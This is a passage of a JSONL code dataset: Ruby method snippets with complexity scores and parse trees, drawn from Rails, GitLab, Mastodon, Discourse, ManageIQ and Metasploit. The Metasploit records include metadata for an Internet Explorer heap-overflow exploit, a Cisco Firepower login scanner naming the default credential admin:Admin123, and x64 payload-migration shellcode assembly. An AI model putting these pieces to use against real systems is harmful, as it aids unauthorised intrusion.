{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/has_many_association.rb","start_line":61,"raw_source":"def insert_record(record, validate = true, raise = false)\n        set_owner_attributes(record)\n        super\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"optarg\",\"children\":[\"validate\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"raise\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_owner_attributes\",{\"type\":\"lvar\",\"children\":[\"record\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"f53e1596-72fb-4dfe-ba3a-82e56942c762"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_policy.rb","start_line":74,"raw_source":"def self.built_in_policies\n    return @@built_in_policies.dup unless @@built_in_policies.nil?\n\n    policy_hashes = YAML.load_file(Rails.root.join(\"product/policy/built_in_policies.yml\"))\n\n    @@built_in_policies = policy_hashes.collect do |p_hash|\n      policy = OpenStruct.new(p_hash)\n      policy.attributes =\n        {\n          \"name\"        => \"(Built-in) #{p_hash[:name]}\",\n          \"description\" => \"(Built-in) #{p_hash[:description]}\",\n          :applies_to?  => p_hash[:applies_to?]\n        }\n      policy.events = [MiqEventDefinition.find_by(:name => policy.event)]\n      policy.conditions =\n        if policy.condition\n          [Condition.new(\n            :name        => policy.attributes[\"name\"],\n            :description => policy.attributes[\"description\"],\n            :expression  => MiqExpression.new(policy.condition),\n            :towhat      => \"Vm\"\n          )]\n        else\n          []\n        end\n      policy.actions_for_event = [MiqAction.find_by(:name => policy.action)]\n\n      p_metaclass = class << policy; self; end\n      p_metaclass.send(:define_method, :applies_to?) { |*_args| p_hash[:applies_to?] }\n      policy\n    end\n    @@built_in_policies.dup\n  end","complexity_score":53.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"built_in_policies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@built_in_policies\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@built_in_policies\"]},\"dup\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"policy_hashes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"product/policy/built_in_policies.yml\"]}]}]}]},{\"type\":\"cvasgn\",\"children\":[\"@@built_in_policies\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_hashes\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p_hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"policy\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenStruct\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"p_hash\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"attributes=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(Built-in) \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(Built-in) \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"applies_to?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"applies_to?\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"events=\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEventDefinition\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"event\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"conditions=\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"condition\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Condition\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"description\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expression\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqExpression\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"condition\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"towhat\"]},{\"type\":\"str\",\"children\":[\"Vm\"]}]}]}]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"actions_for_event=\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAction\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"action\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p_metaclass\",{\"type\":\"sclass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p_metaclass\"]},\"send\",{\"type\":\"sym\",\"children\":[\"define_method\"]},{\"type\":\"sym\",\"children\":[\"applies_to?\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"_args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"applies_to?\"]}]}]},{\"type\":\"lvar\",\"children\":[\"policy\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@built_in_policies\"]},\"dup\"]}]}]}","id":"65ed0552-fe12-4b50-8707-f4c0b8d9e3f8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/release_presenter.rb","start_line":74,"raw_source":"def params_for_issues_and_mrs(state: 'opened')\n    { scope: 'all', state: state, release_tag: release.tag }\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"params_for_issues_and_mrs\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"state\",{\"type\":\"str\",\"children\":[\"opened\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"str\",\"children\":[\"all\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"lvar\",\"children\":[\"state\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"release_tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"release\"]},\"tag\"]}]}]}]}","id":"d2048906-1e68-4185-b272-dd76b2baa1b6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/web/driver.rb","start_line":85,"raw_source":"def clean_consoles(timeout=300)\n    self.consoles.each_pair do |id, con|\n      if (con.last_access + timeout < Time.now)\n        con.shutdown\n        self.consoles.delete(id)\n      end\n    end\n  end","complexity_score":14.85,"ast_json":"{\"type\":\"def\",\"children\":[\"clean_consoles\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[300]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"consoles\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"con\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"con\"]},\"last_access\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"con\"]},\"shutdown\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"consoles\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},null]}]}]}","id":"ad004169-ef52-4e7a-bc73-a693446e6a1f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/upload_creator.rb","start_line":628,"raw_source":"def max_image_pixels\n    @max_image_pixels ||= SiteSetting.max_image_megapixels * 1_000_000\n  end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"max_image_pixels\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@max_image_pixels\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_image_megapixels\"]},\"*\",{\"type\":\"int\",\"children\":[1000000]}]}]}]}","id":"7273970a-ebd1-4a03-a691-fef9b4bf5d3b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/concerns/auth/captcha_concern.rb","start_line":56,"raw_source":"def extend_csp_for_captcha!\n    return unless captcha_required? && request.content_security_policy.present?\n\n    request.content_security_policy = captcha_adjusted_policy\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"extend_csp_for_captcha!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"captcha_required?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"content_security_policy\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"content_security_policy=\",{\"type\":\"send\",\"children\":[null,\"captcha_adjusted_policy\"]}]}]}]}","id":"f9a94cd9-8397-4ff4-935f-2d341b863bae"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms06_067_keyframe.rb","start_line":28,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'MS06-067 Microsoft Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability',\n        'Description' => %q{\n          This module exploits a heap overflow vulnerability in the KeyFrame method of the\n          direct animation ActiveX control.  This is a port of the exploit implemented by\n          Alexander Sotirov.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          # Did all the hard work\n          'Alexander Sotirov <asotirov[at]determina.com>',\n          # Integrated into msf\n          'skape',\n        ],\n        'References' => [\n          [ 'CVE', '2006-4777' ],\n          [ 'OSVDB', '28842' ],\n          [ 'BID', '20047' ],\n          [ 'MSB', 'MS06-067' ]\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          # Maximum payload size is limited by heaplib\n          'Space' => 870,\n          'MinNops' => 32,\n          'Compat' =>\n                        {\n                          'ConnectionType' => '-find',\n                        },\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows 2000/XP/2003 Universal', {}],\n        ],\n        'DisclosureDate' => '2006-11-14',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"MS06-067 Microsoft Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a heap overflow vulnerability in the KeyFrame method of the\\n\"]},{\"type\":\"str\",\"children\":[\"          direct animation ActiveX control.  This is a port of the exploit implemented by\\n\"]},{\"type\":\"str\",\"children\":[\"          Alexander Sotirov.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Alexander Sotirov <asotirov[at]determina.com>\"]},{\"type\":\"str\",\"children\":[\"skape\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2006-4777\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"28842\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"20047\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS06-067\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[870]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MinNops\"]},{\"type\":\"int\",\"children\":[32]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ConnectionType\"]},{\"type\":\"str\",\"children\":[\"-find\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000/XP/2003 Universal\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2006-11-14\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"66cbc0e9-2868-4795-b5ad-80189f547cc1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/entry/job.rb","start_line":157,"raw_source":"def delayed?\n            self.when == 'delayed'\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delayed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"when\"]},\"==\",{\"type\":\"str\",\"children\":[\"delayed\"]}]}]}","id":"9ed1a589-68e2-4b03-989a-f856de48885a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/import/placeholder_references/store.rb","start_line":21,"raw_source":"def remove(values)\n        cache.set_remove(cache_key, values)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"remove\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache\"]},\"set_remove\",{\"type\":\"send\",\"children\":[null,\"cache_key\"]},{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}","id":"53394ffb-110b-4642-979f-6700dac7869e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/cisco_firepower_login.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Cisco Firepower Management Console 6.0 Login',\n        'Description' => %q{\n          This module attempts to authenticate to a Cisco Firepower Management console via HTTPS.\n          The credentials are also used for SSH, which could allow remote code execution.\n        },\n        'Author' => [ 'sinn3r' ],\n        'License' => MSF_LICENSE,\n        'DefaultOptions' => {\n          'RPORT' => 443,\n          'SSL' => true,\n          'SSLVersion' => 'Auto'\n        },\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),\n        OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:Admin123', false])\n      ]\n    )\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Cisco Firepower Management Console 6.0 Login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module attempts to authenticate to a Cisco Firepower Management console via HTTPS.\\n\"]},{\"type\":\"str\",\"children\":[\"          The credentials are also used for SSH, which could allow remote code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSLVersion\"]},{\"type\":\"str\",\"children\":[\"Auto\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to Cisco Firepower Management console\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"TRYDEFAULT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Try the default credential admin:Admin123\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"6c4c80de-3dfc-40d0-9d46-4a72e5972d2e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/x64/migrate_tcp_x64.rb","start_line":32,"raw_source":"def generate_migrate(opts={})\n    %Q^\n    load_ws2_32:\n      mov r14, 'ws2_32'\n      push r14\n      mov rcx, rsp              ; pointer to 'ws2_32'\n      sub rsp, #{WSA_SIZE}      ; alloc size, plus alignment (used later)\n      mov r13, rsp              ; save pointer to this struct\n      sub rsp, 0x28             ; space for api function calls (really?)\n      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n      call rbp                  ; LoadLibraryA('ws2_32')\n    init_networking:\n      mov rdx, r13              ; pointer to the wsadata struct\n      push 2\n      pop rcx                   ; Version = 2\n      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}\n      call rbp                  ; WSAStartup(Version, &WSAData)\n    create_socket:\n      xor r8, r8                ; protocol not specified\n      push r8                   ; flags == 0\n      push r8                   ; reserved == NULL\n      lea r9, [rsi+0x10]        ; Pointer to the info in the migration context\n      push 1\n      pop rdx                   ; SOCK_STREAM\n      push 2\n      pop rcx                   ; AF_INET\n      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}\n      call rbp                  ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)\n      xchg rdi, rax\n    ^\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    load_ws2_32:\\n\"]},{\"type\":\"str\",\"children\":[\"      mov r14, 'ws2_32'\\n\"]},{\"type\":\"str\",\"children\":[\"      push r14\\n\"]},{\"type\":\"str\",\"children\":[\"      mov rcx, rsp              ; pointer to 'ws2_32'\\n\"]},{\"type\":\"str\",\"children\":[\"      sub rsp, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WSA_SIZE\"]}]},{\"type\":\"str\",\"children\":[\"      ; alloc size, plus alignment (used later)\\n\"]},{\"type\":\"str\",\"children\":[\"      mov r13, rsp              ; save pointer to this struct\\n\"]},{\"type\":\"str\",\"children\":[\"      sub rsp, 0x28             ; space for api function calls (really?)\\n\"]},{\"type\":\"str\",\"children\":[\"      mov r10d, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"LoadLibraryA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      call rbp                  ; LoadLibraryA('ws2_32')\\n\"]},{\"type\":\"str\",\"children\":[\"    init_networking:\\n\"]},{\"type\":\"str\",\"children\":[\"      mov rdx, r13              ; pointer to the wsadata struct\\n\"]},{\"type\":\"str\",\"children\":[\"      push 2\\n\"]},{\"type\":\"str\",\"children\":[\"      pop rcx                   ; Version = 2\\n\"]},{\"type\":\"str\",\"children\":[\"      mov r10d, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ws2_32.dll\"]},{\"type\":\"str\",\"children\":[\"WSAStartup\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      call rbp                  ; WSAStartup(Version, &WSAData)\\n\"]},{\"type\":\"str\",\"children\":[\"    create_socket:\\n\"]},{\"type\":\"str\",\"children\":[\"      xor r8, r8                ; protocol not specified\\n\"]},{\"type\":\"str\",\"children\":[\"      push r8                   ; flags == 0\\n\"]},{\"type\":\"str\",\"children\":[\"      push r8                   ; reserved == NULL\\n\"]},{\"type\":\"str\",\"children\":[\"      lea r9, [rsi+0x10]        ; Pointer to the info in the migration context\\n\"]},{\"type\":\"str\",\"children\":[\"      push 1\\n\"]},{\"type\":\"str\",\"children\":[\"      pop rdx                   ; SOCK_STREAM\\n\"]},{\"type\":\"str\",\"children\":[\"      push 2\\n\"]},{\"type\":\"str\",\"children\":[\"      pop rcx                   ; AF_INET\\n\"]},{\"type\":\"str\",\"children\":[\"      mov r10d, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ws2_32.dll\"]},{\"type\":\"str\",\"children\":[\"WSASocketA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      call rbp                  ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)\\n\"]},{\"type\":\"str\",\"children\":[\"      xchg rdi, rax\\n\"]},{\"type\":\"str\",\"children\":[\"    